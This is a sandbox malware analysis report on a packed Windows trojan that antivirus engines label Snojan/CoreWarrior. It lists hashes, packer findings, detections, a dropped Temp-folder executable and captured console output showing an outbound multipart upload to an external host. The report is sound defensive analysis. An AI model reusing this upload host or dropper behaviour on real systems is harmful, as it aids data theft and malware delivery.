Summary

File b548bf713704345d20f700bce6e829b0a4a7899549f728ae893d822f42ce2dc5

Summary

Download Resubmit sample

Size	83.2KB
Type	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
MD5	cea8b7a64cf16f7a762f69e44076b02e
SHA1	29ebd5df1f919db7f5ed3da634a012a1f8908acc
SHA256	b548bf713704345d20f700bce6e829b0a4a7899549f728ae893d822f42ce2dc5
SHA512	Show SHA512 e21b7772d78df384d9311ae5858f551709a86923197fe98c41ce098024f22b5707af70c25b41cef92ec36e5facb4737f7f8559957df3e4b325ea6e4f4317b0e0
CRC32	863C82E2
ssdeep	None
Yara	UPX - (no description) suspicious_packer_section - The packer/protector section names/keywords network_tcp_socket - Communications over RAW socket

Score

Please notice: The scoring system is currently still in development and should be considered an alpha feature.

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6641904

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Information on Execution

Signatures

Yara rules detected for file (3 events)

description	(no description)				rule	UPX
description	The packer/protector section names/keywords				rule	suspicious_packer_section
description	Communications over RAW socket				rule	network_tcp_socket

Command line console output was observed (10 events)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleA June 22, 2025, 3:05 p.m.	buffer: ma num wa rifaien yanje v1.0 console_handle: 0x00000007	1	1	0
WriteConsoleA June 22, 2025, 3:05 p.m.	buffer: ma num wa gyen orn hyzik rifaien2-mMD9qzGfMdkALaKQ.exe en exec ween NODE1 console_handle: 0x00000007	1	1	0
WriteConsoleA June 22, 2025, 3:05 p.m.	buffer: P console_handle: 0x0000000b	1	1	0
WriteConsoleA June 22, 2025, 3:05 p.m.	buffer: OST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: */* Content-Length: 85576 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------ad1c2534a68f2664 console_handle: 0x0000000b	1	1	0
WriteConsoleA June 22, 2025, 3:05 p.m.	buffer: H console_handle: 0x0000000b	1	1	0
WriteConsoleA June 22, 2025, 3:05 p.m.	buffer: TTP/1.1 100 Continue console_handle: 0x0000000b	1	1	0
WriteConsoleA June 22, 2025, 3:05 p.m.	buffer: R console_handle: 0x0000000b	1	1	0
WriteConsoleA June 22, 2025, 3:05 p.m.	buffer: ecv failure: error console_handle: 0x0000000b	1	1	0
WriteConsoleA June 22, 2025, 3:05 p.m.	buffer: curl_easy_perform() failed: Error console_handle: 0x0000000b	1	1	0
WriteConsoleA June 22, 2025, 3:05 p.m.	buffer: ma au ga rre gyaje weel console_handle: 0x00000007	1	1	0

The executable uses a known packer (1 event)

packer

UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Creates executable files on the filesystem (1 event)

file	C:\Users\Administrator\AppData\Local\Temp\rifaien2-mMD9qzGfMdkALaKQ.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\Administrator\AppData\Local\Temp\rifaien2-mMD9qzGfMdkALaKQ.exe

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section	{u'size_of_data': u'0x00014800', u'virtual_address': u'0x00014000', u'entropy': 7.71111529322461, u'name': u'UPX1', u'virtual_size': u'0x00015000'}				entropy	7.71111529322				description	A section with a high entropy has been found
entropy	0.993939393939				description	Overall entropy of this PE file is high

The executable is compressed using UPX (3 events)

section	UPX0				description	Section name indicates UPX
section	UPX1				description	Section name indicates UPX
section	UPX2				description	Section name indicates UPX

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 97653fe98384b5bef285a95b60548b73adae825a

Raised Suricata alerts (2 events)

suricata	ETPRO MALWARE Win32/Snojan Variant Uploading EXE
suricata	ET INFO Generic HTTP EXE Upload Outbound

File has been identified by 11 AntiVirus engine on IRMA as malicious (11 events)

G Data Antivirus (Windows)	Virus: Trojan.Agent.CYZT (Engine A), Win32.Application.Snojan.A (Engine B)
Avast Core Security (Linux)	Win32:MalwareX-gen [Trj]
C4S ClamAV (Linux)	YARA.UPX.UNOFFICIAL
WithSecure (Linux)	Trojan.TR/Crypt.ULPM.Gen2
eScan Antivirus (Linux)	Trojan.Agent.CYZT(DB)
ESET Security (Windows)	a variant of Win32/Agent.AAEF trojan
Sophos Anti-Virus (Linux)	Troj/Bdoor-BHD
ClamAV (Linux)	Win.Malware.Cymt-10023133-0
Bitdefender Antivirus (Linux)	Trojan.Agent.CYZT
Kaspersky Standard (Windows)	HEUR:Flooder.Win32.CoreWarrior.a
Emsisoft Commandline Scanner (Windows)	Trojan.Agent.CYZT (B)

File has been identified by 52 AntiVirus engines on VirusTotal as malicious (50 out of 52 events)

Bkav	W32.AIDetectMalware
Cynet	Malicious (score: 100)
CTX	exe.trojan.cyzt
CAT-QuickHeal	Trojan.AgentbPMF.S33725804
Skyhigh	BehavesLike.Win32.Backdoor.mc
ALYac	Trojan.Agent.CYZT
Cylance	Unsafe
Sangfor	Trojan.Win32.Save.a
CrowdStrike	win/malicious_confidence_60% (D)
K7GW	Trojan ( 005464da1 )
K7AntiVirus	Trojan ( 005c835f1 )
Arcabit	Trojan.Agent.CYZT
VirIT	Trojan.Win32.AgentT.DYK
Symantec	Hacktool.Flooder
Elastic	malicious (moderate confidence)
ESET-NOD32	a variant of Win32/Agent.AAEF
ClamAV	Win.Malware.Cymt-10023133-0
Kaspersky	UDS:Flooder.Win32.CoreWarrior.a
NANO-Antivirus	Trojan.Win32.Snojan.jqzopm
MicroWorld-eScan	Trojan.Agent.CYZT
Rising	Downloader.Snojan!8.ECDD (TFE:5:V47YrAkOYKG)
Emsisoft	Trojan.Agent.CYZT (B)
F-Secure	Trojan.TR/Crypt.ULPM.Gen2
DrWeb	Tool.Snojan.1
VIPRE	Trojan.Agent.CYZT
McAfeeD	ti!B548BF713704
Trapmine	suspicious.low.ml.score
Sophos	Troj/Bdoor-BHD
SentinelOne	Static AI - Suspicious PE
Jiangmin	Downloader.Snojan.adp
Webroot	Win.Trojan.Cyzt
Google	Detected
Avira	TR/Crypt.ULPM.Gen2
Antiy-AVL	Trojan/Win32.Phonzy
Xcitium	TrojWare.Win32.Snojan.B@7h1cjp
Microsoft	Trojan:Win32/CoreWarrior.DA!MTB
ZoneAlarm	Troj/Bdoor-BHD
GData	Win32.Application.Snojan.A
Varist	W32/Agent.FBOO-5422
AhnLab-V3	Downloader/Win.Generic.R665906
Acronis	suspicious
VBA32	Flooder.CoreWarrior
DeepInstinct	MALICIOUS
Malwarebytes	Malware.AI.290255405
Ikarus	Trojan.Agent
Tencent	Trojan.Win32.Corewarrior.ca
Yandex	Riskware.Flooder!j7BYbbJGLUM
huorong	HVM:TrojanDownloader/Small.gen!A
MaxSecure	Trojan.Malware.325666027.susgen
Fortinet	Riskware/Snojan

Screenshots